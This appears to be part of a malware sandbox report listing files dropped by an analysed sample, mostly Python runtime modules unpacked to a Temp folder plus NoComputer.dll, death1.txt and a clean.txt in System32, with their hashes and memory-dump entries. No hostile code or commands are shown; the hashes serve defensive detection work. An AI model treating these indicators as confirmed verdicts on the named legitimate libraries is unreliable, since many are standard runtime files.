SSDEEP 12288:zp+yinyT8OrLffRYIOrG2CEKp3pKldzpYH2VqAh/ImLIHtkDQlioqpd3k:zp+yiyg0jpBOrG2CEKp3pKldzpYH2Vq3
TLSH
T108E4384AB3E60691F636A1BE8D039A17D2E2B4511792E7CB01A0C36E1F673D5373E760
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

select.pyd

Path C:\Users\Admin\AppData\Local\Temp\onefile_2288_134285725582817246\select.pyd
Size 31KB
SHA256 6393121130a3e85d0f6562948024d8614c4c144b84ab102af711c638344d1599
MD5 715a098175d3ca1c1da2dc5756b31860
SHA1 6b3ec06d679c48bfe4391535a822b58a02d79026
SHA512 e92edb98427f594badec592493469d45deab3b71e4598d544d0b9a1acffd5327a19c09029fb79d70971cb0ed0dba56056bef8455534d3f16ec35eac723062f3c
SSDEEP 768:kCOBHfjKe5Ig9GWOytxJEKrLy2Ip4gj6Cxf1mlY6Csr:kCOB/jKe5Ig9GJytH/9+fIii
TLSH
T1BCE27D8BAB745047FA63C671C6A6CE03F939B7A3971142CF30A5D1891E137C1A73A365
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

unicodedata.pyd

Path C:\Users\Admin\AppData\Local\Temp\onefile_2288_134285725582817246\unicodedata.pyd
Size 695KB
SHA256 071494856fdad0042964769aa2fb1de4ea95c2cfcbe27cc7132293c68d13d710
MD5 503b3ffa6a5bf45ab34d6d74352f206b
SHA1 cc13b85281e5d52413784e0b65a61b1d037c60cc
SHA512 d20b860974161caa60a62268968af353ad8063589f57d71f57c91855eb83da78f40bae7aa745cc7a945d92ebe08cf244c9560ae93449de45b20a8b8fff9f5010
SSDEEP 12288:9YLdLI/X77mvfldCKGihH32W3cnPSqrUguJS:9YLW7qNxr3cnPXuJS
TLSH
T1FDE4F6D5BBCF8D26E69B363948E3710F5171C3735F0A863AB2182361D85B3B449D582E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

NoComputer.dll

Path C:\Users\Admin\AppData\Local\Temp\onefile_4688_134285725333849991\NoComputer.dll
Size 6.7MB
SHA256 cb201e9b0d5e9aeffa4a5c25499b44a372b385316451276118185b650fe3cc1c
MD5 fcc4c95bf1e1aa08b53a826003dccde7
SHA1 306a4cd40fc37d6959a895bfc02a7ecb702b4331
SHA512 a4c5c4e12abf027ff4f296986b06b2fa4372e0a9ec884a3ef8b529250a373946353363535755ac901b75487d535042d11e4448b73224763741771b70ed0e1a1a
SSDEEP 98304:H5qgHlZmYN4MXYjKbP+zAP/B4OQExMWN7E0renx1Iu:H5qgXmY6MojKT
TLSH
T1D5663A87B660A962FF61F17580EA0444A33DB597AB14C313321E527A3FEFA748E75348
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_bz2.pyd

Path C:\Users\Admin\AppData\Local\Temp\onefile_4688_134285725333849991\_bz2.pyd
Size 83KB
SHA256 449058efc99fccb9e24d640084d845c78f3f86dd34c5c126cf69e523d6320d75
MD5 684d656aada9f7d74f5a5bdcf16d0edb
SHA1 f7586da90d101b5ee3fa24f131ee93ab89606919
SHA512 27fb2eca382675316fb96d18a1aa6b2792077481bf899cbcc658d71f787876045c05c98abf129c9670b6a1d2654d57f59e17580139fa7f482ec27234e44d4235
SSDEEP 1536:Q5qJ1z7AwZG1xIdYxMpC76ROURNf/86bskFIgLVaytH/9bfIivj:iqTzwqdYrmrfk6wkFIgLVyGj
TLSH
T13E839E82E39857F6F45B81B986C00797F770BA91075053AFF298C2962F03F916E5C36A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_ctypes.pyd

Path C:\Users\Admin\AppData\Local\Temp\onefile_4688_134285725333849991\_ctypes.pyd
Size 130KB
SHA256 5c0d5082fba1a2a3eb8d5e23073be25164c19f21304b09cecaab340dc7198815
MD5 29873384e13b0a78ee9857604161514b
SHA1 110f60f74b06b3972acd5908937a40e078636479
SHA512 ca826ff5403700e6d8822634e364e43b14ef829095d8fe365b49731236f696fe86ffa3853cd1801dc3b7800d005a032fe23bbc25befe3952ef37790d56dee3c5
SSDEEP 3072:k/QCY6XPLj8N4qvAQBhNf/FTmITIJ+B8sZ75IgyPUW4I3U:uQCXPLjNENBPf/FTXTy+B82l
TLSH
T169D37E0B736800AADAA79178C573AF47EBB1B453121147CF02E4C59A2F637E26E7E315
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_lzma.pyd

Path C:\Users\Admin\AppData\Local\Temp\onefile_4688_134285725333849991\_lzma.pyd
Size 155KB
SHA256 48f16b587c6faa44a9e073365b19599200b0f0a0ccb70121e76c2dac4ed53281
MD5 d63e2e743ea103626d33b3c1d882f419
SHA1 af8a162b43f99b943d1c87c9a9e8088816263373
SHA512 d3f1450b5def3c21f47c5133073e76d2ec05787eb6ae88bb70d3a34be84f6025540ac017e9415bb22ef36c2ffbfcea38a28842eefe366325f3d3cf2cca1a3cb1
SSDEEP 3072:D0Vfr5vC9v2J2dE2AomznfB9mNoVhDLaztJLFIg01twW:DSr5YBo5YOVEpJLEh
TLSH
T10EF35B86B794F0D6F7728C38D6624F57E7F5781A0320929A01CC936D2B1FB659A2E313
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

mfc140u.dll

Path C:\Users\Admin\AppData\Local\Temp\onefile_4688_134285725333849991\mfc140u.dll
Size 5.4MB
SHA256 1ec2a31a1302e720c799bad2fd90cf3457c6b2a375c4b41faefee1a91d92f3e0
MD5 84b82c149b450d3c8e0d06f09a416b5d
SHA1 1bac9dfe4ec1e8f3e6137d0181d7c8fdc15f3eb9
SHA512 5c86dd8a9e7a7802c1c03fecdbcc60b45b03325eca676d590ffd69f222b9c575ef0dcac77577e169f4e3378db13aef22aaa5446fa70360cb27e99bade02fe4ed
SSDEEP 49152:4LnsrdZXUTQyJa9qgUUjlQNXkW8GCBTDgHsYogTYn3Q3pQMqSj+vTCfEs7ATWYlK:4oJUEUYSPzUQFLOAkGkzdnEVomFHKnP
TLSH
T1CD468D467AED0494D969D03ACA2B8D4BD3B2FC10136557CF0136A75EAF733D24A3A326
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

python313.dll

Path C:\Users\Admin\AppData\Local\Temp\onefile_4688_134285725333849991\python313.dll
Size 5.8MB
SHA256 69fd86ea29370697c203f7e12830084f920f490766a8e3045af52c036a9ad529
MD5 7387fe038ea75eb9a57b054fccfe37bf
SHA1 5c532cbdfd718b5e80afb2ee8dea991e84757712
SHA512 c46c982b04079ed0b13617b81168598632d6c58d29e23fcbfa064b08e5836866b74880e1a9c01c12670531f13521a21177aafb10be0abb329a79291d7bff08bd
SSDEEP 98304:+nN+czHO42c7SZerAItxv7HDMiExa0RB2d:Fc7O45mwCiP0RB2d
TLSH
T1E1568D16739D51ACC97B8078CA03864BFBB27C053E60934B61E6BB5D2F733624A6E705
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

pywintypes313.dll

Path C:\Users\Admin\AppData\Local\Temp\onefile_4688_134285725333849991\pywintypes313.dll
Size 133KB
SHA256 90ba935a0145ee9ae56267a365cc0088d34fa506b7afeb2bd1bd78cd33359605
MD5 7b4bd20267c93e35c49c32aad05b6b15
SHA1 860a10d04c8764f540ed34cf08e06f32b7b37611
SHA512 9e05566461d9be1a234057e1ae9979b6d022189cb49b2c264c9ad253abec0f0235919f24159638accc45fa3e75ab324db8edf737e72db1efda2cfa589531ddfb
SSDEEP 3072:OMUTdaYIwxesVY/r06Yr8Eh4xVEQy8/rlT:OtTd1zXY/rkY647EJ8/r
TLSH
T192D33A47374684EAE966E37DCC671A02D3A2B0110712E3CF06A1C29B6F637E56D3B647
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

vcruntime140.dll

Path C:\Users\Admin\AppData\Local\Temp\onefile_4688_134285725333849991\vcruntime140.dll
Size 117KB
SHA256 052ad6a20d375957e82aa6a3c441ea548d89be0981516ca7eb306e063d5027f4
MD5 32da96115c9d783a0769312c0482a62d
SHA1 2ea840a5faa87a2fe8d7e5cb4367f2418077d66b
SHA512 616c78b4a24761d4640ae2377b873f7779322ef7bc26f8de7da0d880b227c577ed6f5ed794fc733468477b2fcdb7916def250e5dc63e79257616f99768419087
SSDEEP 1536:Z9TXF5YXWbj8qr51XlN+dULTCe1IGhKWyxLiyaXYaNxoecbdhUoaLjTz164zEd:ZEnsvReGsWyxLizXFkecbd1aPTzW
TLSH
T10DC38C8572A002FBD16AC274C1A36A17FB75B94487B0A7CF03B58A650F53BE09E3D356
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

win32api.pyd

Path C:\Users\Admin\AppData\Local\Temp\onefile_4688_134285725333849991\win32api.pyd
Size 130KB
SHA256 b1b1bb33af9cc14749936b1f6bac36b2ffc494ec1a5fb8b12fc9180a6454f545
MD5 747fc8b90e33f5e9048bcf26788b9169
SHA1 ac30aae15bea0514c7730b007b68dd841a7f3ddc
SHA512 51416cda9a18f113d46c3cb06e7ed85717c64325156be16c4fc78bddc7a06f0e845b3fedd2c1ca6c965517530d9cbb9b9497dd1b309bc16011d2e1499bb5d082
SSDEEP 3072:rHDaprvL00GBUxnHlRVFhLaNzvrtLqQvmtjirpvArke:HaprT0d8HlRVgvZLqQyirpvAr
TLSH
T127D30883735510CAD86AE7BC84635B13D772B8240722A3CF4A70C28A4F637E97E79795
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

win32gui.pyd

Path C:\Users\Admin\AppData\Local\Temp\onefile_4688_134285725333849991\win32gui.pyd
Size 216KB
SHA256 d44f50418d4ec0a83b90f414fecc71cb2f7b00bbd35265978a2f1ad69a56814c
MD5 a0872ec42a92902a2de5c538f760d057
SHA1 3e27ac7047aba66e89c486cd48adc29a47f2ad56
SHA512 b2638d4bc5a0fa12d6939493ff3318e2ae5c9361f1d0ca116efed70324f3ff99d8cc6b3e84c0fbcb158174ad6534b7ea5f35ba17c83bbe11fd40faaab14cdc81
SSDEEP 6144:JtGr2VACI0HjryeBTEels2lNJSJ7LEGb:JI2VACI0HSuflJm7LLb
TLSH
T18C24E557B29510A6D86AA0BC956B5E16F1B374300320ABCF0630CBBA5F1B7EA753D7C4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

death1.txt

Path C:\Users\Admin\Desktop\death1.txt
Size 32B
SHA256 27e8a8945d09672a87deb4103220a0ef3c0edcac59282a1c0248f96cdfa1aed0
MD5 00a7c18745185f7ba66c6212835e52e2
SHA1 fa95601a7b5f66809fc1bf7c3423049d20cff024
SHA512 d3570fcf73475a8f4ddcb1e6d644ce6a1e7802b6438c336bac07d66fe9c2009c6854b4e95d5d3d38fd0c6be51363f2fda3436ae6e37c60fd76425a23b53bc872
MD5 SHA1 SHA512

Submit Download

clean.txt

Path C:\Windows\System32\clean.txt
Size 28B
SHA256 7c94e8b90b0c9863a8376f185b3f4bf582f57342e32d84b69a8eaa663100c341
MD5 4f6efea1bd6c3373df6841ad17382717
SHA1 b8dd22638f050faf591cb4d84589a930be5d72a7
SHA512 244c337b5ed4c606070a99228a497dc24fc0eeb48cd98f49bed308f13dbf8da71eebd57a0ac9d425c00b680025059dc6ba98969fffba45b0b38c19e16dac4e42
MD5 SHA1 SHA512

Submit Download

memory/3464-261-0x000002A05B050000-0x000002A05B6A0000-memory.dmp

Download

memory/3464-265-0x000002A05B050000-0x000002A05B6A0000-memory.dmp

Download

memory/3464-266-0x000002A05B050000-0x000002A05B6A0000-memory.dmp

Download

memory/3464-268-0x000002A05B050000-0x000002A05B6A0000-memory.dmp

Download

memory/3464-269-0x000002A05B050000-0x000002A05B6A0000-memory.dmp

Download

memory/3464-271-0x000002A05B050000-0x000002A05B6A0000-memory.dmp

Download

memory/3464-272-0x000002A05B050000-0x000002A05B6A0000-memory.dmp

Download

memory/3464-273-0x000002A05B050000-0x000002A05B6A0000-memory.dmp

Download

memory/3464-274-0x000002A05B050000-0x000002A05B6A0000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads